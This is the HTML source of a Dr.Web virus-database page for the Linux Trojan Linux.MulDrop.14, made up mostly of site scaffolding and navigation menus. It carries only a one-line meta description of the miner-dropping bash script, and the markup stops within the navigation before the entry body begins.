




    

<!DOCTYPE html>
<!--[if IE     7 ]><html lang="en" class="x ie ie7 en"><![endif]-->
<!--[if IE     8 ]><html lang="en" class="x ie ie8 en"><![endif]-->
<!--[if IE     9 ]><html lang="en" class="x ie ie9 en"><![endif]-->
<!--[if (gt IE 9)|!(IE)]><!--><html lang="en" class="x jsDisabled- en"><!--<![endif]-->
<head>

	
	<script src="//st.drweb.com/static/js/redir-https.js"></script>
	<script src="//st.drweb.com/static/js/acceptable_browsers_2018.js"></script>
	<script>
		(function() {
			var html = document.documentElement;
			html.className = html.className.replace( ' jsDisabled-', '' )
		}())
	</script>

	<title>Linux.MulDrop.14 &mdash; How to quickly look up a virus in the Dr.Web virus database</title>

	<meta http-equiv="content-type" content="text/html; charset=utf-8"/>
	<!--[if IE]>
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
	<![endif]-->
	<meta name="viewport" content="width=device-width, height=device-height, maximum-scale=1.0, minimum-scale=1.0" />
	<meta name="description" content=" Linux Trojan that is a bash script containing a mining program, which is compressed with gzip and encrypted with base64. Once launched, the script shuts down several processes and installs libraries required for its operation. It also installs zmap and sshpass." />

	<meta property="og:type" content="website" />
	<meta property="og:site_name" content="Dr.Web" />
	<meta property="og:url" content="https://vms.drweb.com/virus?_is=1&i=15389228" />
	<meta property="og:title" content="Linux.MulDrop.14 &mdash; How to quickly look up a virus in the Dr.Web virus database" />
	<meta property="og:description" content=" Linux Trojan that is a bash script containing a mining program, which is compressed with gzip and encrypted with base64. Once launched, the script shuts down several processes and installs libraries required for its operation. It also installs zmap and sshpass." />
	<meta property="og:image" content="https://st.drweb.com/static/new-www/favicons/og-drweb-default.jpg?r=1" />
	<meta property="og:image:width" content="968" />
	<meta property="og:image:height" content="504" />

			<!-- there is used META_DESCRIPTION (only meta tags) -->
	
	<!-- icons_full_package -->
	<link
		rel="shortcut icon" type="image/x-icon"
		href="//st.drweb.com/static/new-www/favicon.ico?r=2" />
	<link
		rel="apple-touch-icon" sizes="57x57"
		href="//st.drweb.com/static/new-www/favicons/apple-touch-icon-57x57.png" />
	<link
		rel="apple-touch-icon" sizes="60x60"
		href="//st.drweb.com/static/new-www/favicons/apple-touch-icon-60x60.png" />
	<link
		rel="apple-touch-icon" sizes="72x72"
		href="//st.drweb.com/static/new-www/favicons/apple-touch-icon-72x72.png" />
	<link
		rel="apple-touch-icon" sizes="76x76"
		href="//st.drweb.com/static/new-www/favicons/apple-touch-icon-76x76.png" />
	<link
		rel="apple-touch-icon" sizes="114x114"
		href="//st.drweb.com/static/new-www/favicons/apple-touch-icon-114x114.png" />
	<link
		rel="apple-touch-icon" sizes="120x120"
		href="//st.drweb.com/static/new-www/favicons/apple-touch-icon-120x120.png" />
	<link
		rel="apple-touch-icon" sizes="144x144"
		href="//st.drweb.com/static/new-www/favicons/apple-touch-icon-144x144.png" />
	<link
		rel="apple-touch-icon" sizes="152x152"
		href="//st.drweb.com/static/new-www/favicons/apple-touch-icon-152x152.png" />
	<!-- icons_modern_package -->
	<link
		rel="apple-touch-icon" sizes="180x180"
		href="//st.drweb.com/static/new-www/favicons/apple-touch-icon-180x180.png" />
	<link
		rel="icon" type="image/png" sizes="32x32"
		href="//st.drweb.com/static/new-www/favicons/favicon-32x32.png" />
	<link
		rel="icon" type="image/png" sizes="16x16"
		href="//st.drweb.com/static/new-www/favicons/favicon-16x16.png" />
	<link
		rel="manifest"
		href="//st.drweb.com/static/new-www/favicons/manifest.json" />
	<link
		rel="mask-icon" color="#2e2e2e"
		href="//st.drweb.com/static/new-www/favicons/safari-pinned-tab.svg" />

	<meta name="msapplication-TileColor" content="#7cb51b" />
	<meta name="msapplication-TileImage" content="//st.drweb.com/static/new-www/favicons/mstile-144x144.png" />
	<!-- Force theme color: -->
	<meta name="theme-color" content="#f2f2f2" />
	<!-- ! icons_modern_package -->
	<!-- ! icons_full_package -->

	<link rel="alternate" type="application/rss+xml" title="Dr.Web All News" href="https://news.drweb.com/rss/get/?c=5&amp;lng=en" />

	<!-- styles -->
	<link rel="stylesheet" type="text/css" href="//st.drweb.com/static/js/drweb_user_login_widget_tile_mobi.css" />
	<link rel="stylesheet" type="text/css" href="//st.drweb.com/static/new-www/themes/tiles_mobi/assets/css/tile-mobi-transition.css?r=19" />

	<!--[if lt IE 9]>
	<script>'svg use article section'.replace(/\w+/g,function(n){document.createElement(n)})</script>
	<style>svg,use{display:none;}</style>
	<![endif]-->

	<script src="//st.drweb.com/static/js/jquery-1.7.2.min.js"></script>
	<script src="//st.drweb.com/static/js/jquery.cookie.min.js"></script>
	<script src="//st.drweb.com/static/js/showit/showit.min.js"></script>
	<script src="//st.drweb.com/static/js/qdata/qdata.min.js"></script>
	<script src="//st.drweb.com/static/js/qdata/extensions/pi.js"></script>
	<script src="//st.drweb.com/static/js/switcher/switcher.min.js"></script>
	<script src="//st.drweb.com/static/js/scrollx/scrollx.min.js"></script>
	<script src="//st.drweb.com/static/js/scrollup_button.js"></script>
	<script src="//st.drweb.com/static/js/ec-events.js"></script>
	
	<!-- icons -->
	<script src="//st.drweb.com/static/new-www/themes/tiles_mobi/assets/icons/jquery.icons.min.js?r=5"></script>
	<script>if( window.SvgIcons && SvgIcons.Rev ){ SvgIcons.Rev(3) }</script>
	<!-- popup -->
	<link rel="stylesheet" type="text/css" href="//st.drweb.com/static/js/popup/css/tile.css" />
	<script src="//st.drweb.com/static/js/popup/popup.js"></script>
	<script>$(function(){$('a.preview').popUp({imgAutoResize:true});});</script>
	<!-- dyn-tree -->
	<script src="//st.drweb.com/static/js/dyn-tree/dyn-tree.js"></script>
	<!-- dyn-tree: data-dyn-mobi-menu -->
	<link rel="stylesheet" type="text/css" href="//st.drweb.com/static/js/dyn-tree/extensions/data-dyn-mobi-menu.css" />
	<script src="//st.drweb.com/static/js/dyn-tree/extensions/data-dyn-mobi-menu.js"></script>
	<!-- lazy load -->
	<script src="//st.drweb.com/static/js/makelazy/makelazy.min.js"></script>
	<script>
		var Lazy = MakeLazy();
		$(function(){
			Lazy.Observe(false, '.CONTENT');
			$('.NAV-case.on_hover').one('mouseenter', function(){
				Lazy.Load(false, this);
			});
		});
	</script>
	<!-- cocss (last) -->
	<script src="//st.drweb.com/static/js/cocss/cocss.min.js"></script>

		<!-- theme/tile_mobi/main_resources.tt start -->

<script src="//st.drweb.com/static/js/jsurl/url.js"></script>
<script src="//st.drweb.com/static/js/change_lng_w_domains_v2.js"></script>
<script src="//st.drweb.com/static/js/old_browser_detection.js"></script>

<script src="//st.drweb.com/static/js/jquery.cookie.min.js" ></script>

<!--
<script src="//st.drweb.com/static/js/elephant/elephant.js?5"></script> 
<link rel="stylesheet" type="text/css" href="//st.drweb.com/static/new-www/buy_elephant/css/buy_elephant_tile.css?1" />
-->

<!-- theme/tile_mobi/main_resources.tt end -->

                <link rel="canonical" href="https://vms.drweb.com/virus/?i=15391790" />

        <link rel="alternate" href="https://vms.drweb.ru/virus/?i=15391790" hreflang="ru" />
        <link rel="alternate" href="https://vms.drweb.com/virus/?i=15391790" hreflang="en" />
        <link rel="alternate" href="https://vms.drweb.fr/virus/?i=15391790" hreflang="fr" />
        <link rel="alternate" href="https://vms.drweb-av.de/virus/?i=15391790" hreflang="de" />
        <link rel="alternate" href="https://vms.drweb-av.es/virus/?i=15391790" hreflang="es" />
        <link rel="alternate" href="https://vms.drweb-av.it/virus/?i=15391790" hreflang="it" />
        <link rel="alternate" href="https://vms.drweb.co.jp/virus/?i=15391790" hreflang="ja" />
        <link rel="alternate" href="https://vms.drweb.cn/virus/?i=15391790" hreflang="zh" />
        <link rel="alternate" href="https://vms.dataprotection.com.ua/virus/?i=15391790" hreflang="uk" />
        <link rel="alternate" href="https://vms.drweb.com/virus/?i=15391790" hreflang="x-default">

        <link href="https://st.drweb.com/static/js/highlight/default.min.css" rel="stylesheet" type="text/css"/>
    <script src="https://st.drweb.com/static/js/highlight/highlight.min.js"></script>

    <link href="//st.drweb.com/static/new-www/themes/tiles/css/news_arrows_new.css" media="screen" rel="stylesheet" type="text/css"/>
    <script src="//st.drweb.com/static/new-www/themes/tiles/js/vms_arrows.js?v=2" type="text/javascript"></script>
<script>
  hljs.initHighlightingOnLoad();
</script>
<!-- vms_css_resources -->

<link rel="stylesheet" type="text/css" href="https://st.drweb.com/static/new-www/themes/tiles_mobi/assets/css/vms_new_main.css?r=1" />

<!-- vms_css_resources END -->


	
	<script>window['elephant_aj'] = {common:{preftpl:'showit_'}};</script>

	<!-- b4 sns -->
		<!-- after sns -->

</head>

<body>

	
	
		<!-- theme/tile_mobi/noscript.tt start -->

<noscript>
	<div class="JsDisabled">
		<strong>JavaScript support is required for our site to be fully operational in your browser.</strong>
	</div>
</noscript>

<!-- theme/tile_mobi/noscript.tt end -->

<!-- theme/tile_mobi/old_browser.tt start -->

<div class="OldBrowser" hidden>
	<p class="title"><strong class="noB"><a href="https://www.drweb.com/old_browser_info/" class="white">Your browser is obsolete!</a></strong></p>
<p class="note">The page may not load correctly.</p></div>

<!-- theme/tile_mobi/old_browser.tt end -->

<div class="HEAD clearfix">
<!-- theme/tile_mobi/head_pi.tt start -->



<div
 class="PI container container_cell ztop "
 data-swr-click-outside="hide"
 data-swr-group="header"
 data-swr-click="toggle"
>

  <div class="PI-wrp PI-wrp_head">

    <div class="PI-group PI-group_head">
      <a class="PI-itm PI-itm_logo PI-group-itm js-data-dyn" href="https://www.drweb.com/?lng=en"
        data-dyn-mobi-menu="<i data-icon=&quot;#logo-drweb_av_en.icon_sizeS.icon_logo:size200x50&quot;></i>">
        <i class="Icon Icon_noEffects icon_sizeS icon_logo black" data-icon="#logo-drweb_av_en.black.icon_sizeS.icon_logo:size200x50">
          <svg class="Icon-cnt" width="200" height="50">
            <use xlink:href="#logo-drweb_av_en"></use>
          </svg>
        </i>
      </a>

      <div class="PI-group-itm PI-group-itm_other">
        <div class="PI-itm PI-itm_other" data-swr-target="protecting">
          <a class="Btn Btn_clean black _viewL_white" data-swr="protecting" data-swr-class-active="-Icon_rotate180" href="#">
            <p class="Btn-body icon icon_right">
              <span class="Btn-text noPaddL fontXS">
                <span class="_viewL_none uppercase">FOR CUSTOMERS</span>
                <span class="defaultNone _viewL_block">
                  <i class="Icon Icon_noEffects icon_sizeS icon_logo" hidden="true" data-icon="#logo-drweb_av_en.Icon_noEffects.icon_sizeS.icon_logo:hidden">
                    <svg class="Icon-cnt">
                      <use xlink:href="#logo-drweb_av_en"></use>
                    </svg>
                  </i>
                </span>
              </span><span class="IconSide">
                <i class="Icon" data-icon="#common-arrowDown">
                  <svg class="Icon-cnt" width="25" height="25">
                    <use xlink:href="#common-arrowDown"></use>
                  </svg>
                </i>
              </span>
            </p>
          </a>
                      <style>
              .PI-case_new {
                border: none;
              }
              .PI-case_other {
                width: auto;
              }
              .PI-case_li a {
                padding-left: 6px;
                text-decoration: none;
                color: #000;
              }
              .PI-case_li:hover {
                background-color: #d4d9dc;
              }
              .PI-case_new .PI-case-close {
                background-color: transparent;
              }              
              @media screen and (max-width: 966px) {
                .PI-case {
                  padding-top: 0;
                }
                .PI-case_other {
                  width: 100%;
                }
              }
            </style>          
            <div class="PI-case PI-case_other PI-case_new">
              <div class="PI-case-content=">
                <ul style="background-color: #eaeaea;" class="noList -paddYS noMargB fx fxCol -part_fill">
  <li class="PI-case_li borderB"><a href="https://products.drweb.com/register/v4/?lng=en">Activate your Dr.Web license</a></li>
  <li class="PI-case_li borderB"><a href="https://support.drweb.com/?lng=en">Technical support</a></li>
  <li class="PI-case_li borderB"><a href="https://download.drweb.com/doc/?lng=en">Documentation</a></li>
  <li class="PI-case_li borderB"><a href="https://download.drweb.com/?lng=en">Download Dr.Web</a></li>
</ul>                <a href="#Close" class="PI-case-close" data-swr="protecting" data-swr-click="hide">
                  <i data-icon="#common-cross.gray_1:hidden">Close</i>
                </a>
              </div>
            </div>
                  </div>
      </div>
    </div>

    <p class="PI-itm PI-itm_menu">
      <a class="PI-itm_menu-trig js-menu-open" href="#"
      ><b><i></i><i></i><i></i></b></a>
    </p>

        <div class="PI-itm PI-itm_quick">
      <a class="PI-itm_quick-trig" data-swr-group="quick_menu" data-swr-click="toggle" data-swr="menu" href="#"><b><i></i><i></i><i></i></b></a>
      <div class="PI-itm_quick-target" data-swr-click-outside="hide" data-swr-group="quick_menu" data-swr-target="menu">
        <ul class="PI-itm_quick-body">
  <li class="PI-itm_quick-list"><a class="PI-itm_quick-link" href="https://partners.drweb.com/?lng=en">
    Buy from our partners
  </a></li>
  <li class="PI-itm_quick-list"><a class="PI-itm_quick-link" href="https://estore.drweb.com/home/?lng=en">
    Buy online
  </a></li>
  <li class="PI-itm_quick-list"><a class="PI-itm_quick-link" href="https://support.drweb.com/?lng=en">
    Ask about a purchase
  </a></li>
</ul>      </div>
    </div>
    
  </div><div class="PI-wrp PI-wrp_panel">

    <div class="PI-group PI-group_panel">

      <!-- Город -->

<!--<div class="PI-group-itm">
  <div class="PI-separator _viewL_none"></div>
</div>-->

<!-- Библиотека -->
<div class="PI-group-itm">
  <div class="PI-itm PI-itm_bookmark" data-swr-target="bookmark">
    <a class="PI-icon" data-swr="bookmark" href="#Library">
      <i class="Icon" data-icon="#common-bookmark">
        <svg class="Icon-cnt" width="25" height="25">
          <use xlink:href="#common-bookmark">Library</use>
        </svg>
      </i>
      <span class="PI-icon-count"></span>
      <span class="PI-icon-select">
        <i data-icon="#common-arrowDown:hidden"></i>
        <i data-icon="#common-arrowDown.Icon_rotate180:hidden"></i>
      </span>
    </a>
    <div class="PI-case PI-case_bookmark">
      <div class="PI-case-content noPaddB uppercase">
        <span>My library</span>
      </div>
      <div class="PI-case-content -Grid_1of2 -viewS-Grid_1of1">
        <script type="text/javascript">
          var Drwebcom = {
            bookmarkit : function( site, title, description ) {
              var uri = 'https://www.drweb.com/social/bookmark/?';
              uri += 'site='   + encodeURIComponent( site );
              uri += '&title=' + encodeURIComponent( title );
              uri += '&descr=' + encodeURIComponent( description );
              
              Drwebcom.popup( uri );
              return false;
            },
            
            popup: function( url ) {
              this._win = window.open( url, '', 'toolbar=0,status=0,width=626,height=436' );
            }
          };
        </script>
        <p class="margYS">
          <i data-icon="#common-plus.Icon_portrait2.main_green_4.alignMiddle:hidden">+</i>
          <a class="main_green_4" href="#" onclick="return Drwebcom.bookmarkit( location.toString(), document.title, '')">Add to library</a>
        </p>
      </div>
    </div>
  </div>
</div>

<!-- Заказы -->
<!-- Шаринг -->

<!-- Поиск -->
<div class="PI-group-itm">
  <div class="PI-itm PI-itm_search" data-swr-target="search">
    <a class="PI-icon" data-swr="search" href="#Search">
      <i class="Icon" data-icon="#common-search">
        <svg class="Icon-cnt" width="25" height="25">
          <use xlink:href="#common-search">Search</use>
        </svg>
      </i>
      <span class="PI-icon-select">
        <i data-icon="#common-arrowDown:hidden"></i>
        <i data-icon="#common-arrowDown.Icon_rotate180:hidden"></i>
      </span>
    </a>
    <div class="PI-case PI-case_search">
      <div class="PI-case-content uppercase">
        <span>Search</span>
        <form method="get" action="https://www.drweb.com/search/">
          <input type="hidden" name="lng" value="en">
          <p class="InputGroup noRadius noWrap margYS">
            <input class="Input" type="text" name="q" size="32" value="register a serial number" onfocus="if (this.value == 'register a serial number') this.value = ''" onblur="if (this.value == '') this.value = 'register a serial number'">
            <button class="Btn Btn_input bg_main_green_2 alignMiddle" type="submit" title="Search">
              <span class="Btn-body">
                <span class="Btn-text noPadd"><i class="Btn-text" data-icon="#common-search">Search</i></span>
              </span>
            </button>
          </p>
        </form>
      </div>
    </div>
  </div>
</div>

<!-- Поддержка -->
<div class="PI-group-itm">
  <div class="PI-itm PI-itm_contact" data-swr-target="contact">
    <a class="PI-icon" data-swr="contact" href="#Contact">
      <i class="Icon" data-icon="#common-contact">
        <svg class="Icon-cnt" width="25" height="25">
          <use xlink:href="#common-contact">Contact us</use>
        </svg>
      </i>
      <span class="PI-icon-select">
        <i data-icon="#common-arrowDown:hidden"></i>
        <i data-icon="#common-arrowDown.Icon_rotate180:hidden"></i>
      </span>
    </a>
    <div class="PI-case PI-case_contact">
      <div class="PI-case-content">
        <span class="uppercase">24/7 Tech support</span>
        <span class="defaultNone _viewS_inlineBlock">|</span>
        <a class="floatR _viewS_noFloat" href="https://support.drweb.com/rules/">Rules regarding submitting</a>
      </div>
      <div class="userAuthNone">
        <div class="PI-case-content bg_stone_5 -Panel_alignMiddle">
          <div class="Panel Panel_iconSide icon icon_sizeM">
            <div class="Panel-forIcon">
              <i data-icon="#common-info.green_4"></i>
            </div><div class="Panel-content _viewS_margTS">
              <p class="noMarg uppercase"><b>Send a message</b></p>
              <div class="margYS paddRM">
                <a class="Btn margTC noRadius bg_green_4" href="https://support.drweb.com/support_wizard/?lng=en" target="_blank">
                  <span class="Btn-body icon icon_right" data-icon="#common-arrowRight">
                    <span class="Btn-text fontS uppercase">A query form</span>
                  </span>
                </a>
              </div>
            </div>
          </div>
        </div>
        <div class="PI-case-content">
          <p class="noMarg uppercase"><b>Call us</b></p>
          <p class="noMargT _viewS_margTS">
            <a href="tel:+74957894586" class="fontL alignMiddle noU black">+7 (495) 789-45-86</a>
          </p>
          <a class="b uppercase" href="https://forum.drweb.com/" target="_blank">Forum</a>
          <!--<span class="inlineBlock margXM">|</span>
          <a class="b uppercase" href="https://telegram.me/DrWebSupportBot" target="_blank" rel="noopener">Self-support bot</a>
          <span class="IconZoom icon_sizeD alignMiddle">
            <i data-icon="#socnet-tg">Telegram</i>
          </span>-->
        </div>
      </div>
      <div class="defaultNone userAuthBlock">
        <div class="PI-case-content bg_stone_5">
          <p class="noMarg uppercase"><b>Your tickets</b></p>
          <div class="-Grid_1of2 -viewS-Grid_1of1">
            <div class="Grid margYS">
              <ul class="noList noMarg">
                <li>Total: <a href="https://www.drweb.com/user/support/requests/?mode=all&lng=en" id="support_req_all" target="_blank">
                  -
                </a></li>
                <li>Active: <a href="https://www.drweb.com/user/support/requests/?mode=not_closed&lng=en" id="support_req_not_closed" target="_blank">
                  -
                </a></li>
                <li id="lastTicketRow" class="defaultNone">Latest: <a href="https://www.drweb.com/user/support/requests/?mode=all&lng=en" id="support_req_last_not_closed" target="_blank">
                  -
                </a></li>
              </ul>
              <script>
                QData.Ready( 'user', function( data ){
                  if( ! data || ! data.authorized ) return;
        
                  QData.Ready( 'pi_requests',
                    function( data, api ) // when ready
                    {
                      $( '#support_req_all' )
                        .text( api.CountRequests() );
                      $( '#support_req_not_closed' )
                        .text( api.CountRequests( [5,52,53], true ) );

                      if( data.ticket.updated ) {
                        $( '#support_req_last_not_closed' )
                            .text( data.ticket.updated )
                        $( '#lastTicketRow' ).removeClass( 'defaultNone' );
                        var status_color = '';
                        switch( data.ticket.status ){
                            case 'waiting': status_color = 'red_2'; break
                            case 'closed': status_color = 'black'; break
                            case 'not_closed': break
                            case 'new': break
                        }
                        $( '#support_req_last_not_closed' ).addClass( status_color );
                      }
                    },
                    function( data, api ) // when loading
                    {
                      $( '#support_req_all, #support_req_not_closed, #support_req_last_not_closed' )
                        .html( '<img src="https://st.drweb.com/static/loading_28x4_green.gif" class="alignMiddle" alt="">' );
                    }
                  );
                });
              </script>
            </div><div class="Grid margYS">
              <a class="Btn Btn_slim noRadius bg_green_4" href="https://support.drweb.com/support_wizard/?lng=en">
                <span class="Btn-body">
                  <span class="Btn-text fontS uppercase">New ticket</span>
                </span>
              </a>
            </div>
          </div>
        </div>
        <div class="PI-case-content">
        <p class="noMarg uppercase"><b>Call us</b></p>
          <p class="noMarg _viewS_margTS">
            <a href="tel:+74957894586" class="fontL alignMiddle noU black">+7 (495) 789-45-86</a>
            <!--<span class="paddXS alignMiddle">|</span>
            <a class="alignMiddle inlineBlock noU" href="https://telegram.me/DrWebSupportBot" target="_blank" rel="noopener">
              <span class="alignMiddle uppercase">Self-support bot</span>
              <span class="IconZoom icon_sizeD">
                <i data-icon="#socnet-tg">Telegram</i>
              </span>
            </a>-->
          </p>
        </div>
      </div>
    </div>
  </div>
</div>

<!-- Профиль -->
<div class="PI-group-itm">
  <div class="PI-itm PI-itm_profile" data-swr-target="profile">
    <a class="PI-icon" data-swr="profile" href="#Profile" onclick="drw_login_widget_once()">
      <i class="Icon" data-icon="#common-profile">
        <svg class="Icon-cnt" width="25" height="25">
          <use xlink:href="#common-profile">Profile</use>
        </svg>
      </i>
      <span class="PI-icon-stat">
        <i data-icon="#common-tick:hidden"></i>
      </span>
      <span class="PI-icon-select">
        <i data-icon="#common-arrowDown:hidden"></i>
        <i data-icon="#common-arrowDown.Icon_rotate180:hidden"></i>
      </span>
    </a>
    <div class="PI-case PI-case_profile">
      <script>
        window[ 'drw_login_widget_reqdata' ] = { 'style': 'pi_v2', 'caseid': 'case_profile', 'focus': 'drw_site' };
        window[ 'drw_login_widget_set_place' ] = function( place ) {
          if ( typeof loginWidgetFocusInput == 'function' && $( 'html' ).hasClass( 'userNotAuthorized' ) )
            return loginWidgetFocusInput();
          if ( typeof loginWidgetFocusForm == 'function' )
            loginWidgetFocusForm( place );
        }
        window[ 'drw_login_widget_once' ] = function( opt ) {
          if ( opt && opt.focus ) window[ 'drw_login_widget_reqdata' ].focus = opt.focus;
          $.getScript( 'https://st.drweb.com/static/js/auth/widgets/login_pi.js?rev=1' );
        }
      </script>
      <div class="PI-case-content" id="case_profile">
        <div class="alignCenter paddYM">
          <i data-icon="#common-spinner.Icon_spinSteps12.icon_sizeL.main_green_4"></i>
        </div>
      </div>
    </div>
  </div>
</div>
            <div class="PI-group-itm">
        <div class="PI-separator _viewL_none"></div>
      </div>

      <!-- Язык -->
      <div class="PI-group-itm">
        <div class="PI-itm PI-itm_lng" data-swr-target="lng">
                  <a class="Btn Btn_clean Btn_slim paddXC main_green_4" data-swr="lng" href="#Language">
            <p class="Btn-body">
              <span class="Btn-text noPadd fontS">
                <span class="PI-itm_lngCurr uppercase">
                                  EN                                </span>
              </span>
            </p>
          </a>
                  <div class="PI-case PI-case_lng">
            <div class="PI-case-content">
                                              <a  href="javascript:drweb_site_change_lng('ru')"  class="PI-case_lng-itm lng_ru">
                  RU                </a>
                                                              <a  href="javascript:drweb_site_change_lng('cn')"  class="PI-case_lng-itm lng_cn">
                  CN                </a>
                                                              <a  href="javascript:drweb_site_change_lng('de')"  class="PI-case_lng-itm lng_de">
                  DE                </a>
                                                              <a  class="PI-case_lng-itm lng_en">
                  EN                </a>
                                                              <a  href="javascript:drweb_site_change_lng('es')"  class="PI-case_lng-itm lng_es">
                  ES                </a>
                                                              <a  href="javascript:drweb_site_change_lng('fr')"  class="PI-case_lng-itm lng_fr">
                  FR                </a>
                                                              <a  href="javascript:drweb_site_change_lng('it')"  class="PI-case_lng-itm lng_it">
                  IT                </a>
                                                              <a  href="javascript:drweb_site_change_lng('ja')"  class="PI-case_lng-itm lng_ja">
                  JP                </a>
                                                              <a  href="javascript:drweb_site_change_lng('kk')"  class="PI-case_lng-itm lng_kk">
                  KZ                </a>
                                                              <a  href="javascript:drweb_site_change_lng('pl')"  class="PI-case_lng-itm lng_pl">
                  PL                </a>
                                                              <a  href="javascript:drweb_site_change_lng('uk')"  class="PI-case_lng-itm lng_uk">
                  UA                </a>
                                          </div>
            <a href="#Close" class="PI-case-close" data-swr="lng" data-swr-click="hide">
              <i data-icon="#common-cross.white:hidden">Close</i>
            </a>
          </div>
                  </div>
      </div>
      
    </div>

  </div>

</div>

<!-- theme/tile_mobi/head_pi.tt end -->


<!-- theme/tile_mobi/head_nav.tt start -->


<div class="NAV container container_cell bg_main_green_4 ">

    <div class="NAV-other on_hover">
    <a class="NAV-other-trig" href="javascript:void(0)" title="Other sections"><b><i></i><i></i><i></i></b></a>
    <div class="NAV-other-target use_hover">
      <ul class="NAV-other-body">
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://products.drweb.com/home/?lng=en">
      Home
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://products.drweb.com/business/?lng=en">
      Business
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://estore.drweb.com/home/?lng=en">
      eStore
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://promotions.drweb.com/?lng=en">
      Discounts
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://download.drweb.com/?lng=en">
      Download
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://support.drweb.com/support_wizard/?lng=en">
      Support
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://training.drweb.com/?lng=en">
      Training
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://partners.drweb.com/find_partner/?lng=en">
      Partners
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://news.drweb.com/?lng=en">
      Information
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://antifraud.drweb.com/?lng=en">
      Anti-cyberfraud center
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://license.drweb.com/?lng=en">
      Licensing center
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://customers.drweb.com/?lng=en">
      Customers
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://vms.drweb.com/?lng=en">
      Anti-virus lab
    </a>
  </li>
  <li class="NAV-other-list">
    <a class="NAV-other-link" href="https://company.drweb.com/?lng=en">
      About Doctor Web
    </a>
  </li>
</ul>    </div>
  </div>
  
  <div class="NAV-store ">

    <div class="NAV-wrp">
    <dl class="NAV-case on_hover">
      
      <dt class="NAV-section">
        <a href="javascript:void(0)" class="NAV-section-link">
          <span class="NAV-section-name">Support services</span>
        </a>
        <div class="NAV-case-arrow">
          <i data-icon="#common-arrowDown:hidden"></i>
        </div>
      </dt>
  
      <dd class="NAV-content use_hover width_2of6">  
        <div class="margTM margXM">

                <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://vms.drweb.com/?lng=en"                
                        data-dyn-mobi-menu="Support services // All services"
                        itemprop="url">
                        All services
                        </a>
                    </li>
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://vms.drweb.com/sendvirus/?lng=en"
                        data-dyn-mobi-menu="Support services // Send suspicious file"
                        itemprop="url">
                        Send suspicious file
                        </a>
                    </li>
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://vms.drweb.com/sendvirus/?lng=en"
                        data-dyn-mobi-menu="Support services // Report false positive"
                        itemprop="url">
                        Report false positive
                        </a>
                    </li>
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://support.drweb.com/new/urlfilter/?lng=en"
                        data-dyn-mobi-menu="Support services // Report malicious URL"
                        itemprop="url">
                        Report malicious URL
                        </a>
                    </li>
                </ul>

        </div>  
      </dd>
  
    </dl>
  </div>
  
  <div class="NAV-wrp">
    <dl class="NAV-case on_hover">
      
      <dt class="NAV-section">
        <a href="javascript:void(0)" class="NAV-section-link">
          <span class="NAV-section-name">Scanners</span>
        </a>
        <div class="NAV-case-arrow">
          <i data-icon="#common-arrowDown:hidden"></i>
        </div>
      </dt>
  
      <dd class="NAV-content use_hover width_2of8">  
        <div class="margTM margXM">

                <ul itemscope itemtype="http://www.schema.org/SiteNavigationElement">
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://vms.drweb.com/scan_file/?lng=en"                
                        data-dyn-mobi-menu="Scanners // Scan file"
                        itemprop="url">
                        Scan file
                        </a>
                    </li>
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://vms.drweb.com/online/?lng=en"
                        data-dyn-mobi-menu="Scanners // Check link"
                        itemprop="url">
                        Check link
                        </a>
                    </li>
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://free.drweb.com/for+web+sites/?lng=en"
                        data-dyn-mobi-menu="Scanners // Forms for online virus scanning"
                        itemprop="url">
                        Forms for online virus scanning
                        </a>
                    </li>
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://free.drweb.com/download+cureit+free/?lng=en"
                        data-dyn-mobi-menu="Scanners // Dr.Web CureIt!"
                        itemprop="url">
                        Dr.Web CureIt!
                        </a>
                    </li>
                    <li class="NAV-itm"  itemprop="name">
                        <a
                        class="NAV-link js-data-dyn"
                        href="https://curenet.drweb.com/?lng=en"
                        data-dyn-mobi-menu="Scanners // Dr.Web CureNet!"
                        itemprop="url">
                        Dr.Web CureNet!
                        </a>
                    </li>
                </ul>

        </div>  
      </dd>
  
    </dl>
  </div>
  
  <div class="NAV-wrp">
    <dl class="NAV-case on_hover ">
      
      <dt class="NAV-section">
        <a href="javascript:void(0)" class="NAV-section-link">
          <span class="NAV-section-name">Dr.Web vxCube</span>
        </a>
        <div class="NAV-case-arrow">
          <i data-icon="#common-arrowDown:hidden"></i>
        </div>
      </dt>
  
      <dd class="NAV-content use_hover width_4of6">
  
        <div class="-Grid_1of2">
          <div class="Grid paddXM paddTM">
            <a 
            href="https://download.drweb.com/vxcube/?lng=en" 
            class="Btn Btn_block bg_main_green_4  space_4of5 js-data-dyn"
            data-dyn-mobi-menu="Dr.Web vxCube // Trial"
            >
              <span class="Btn-body icon icon_right">
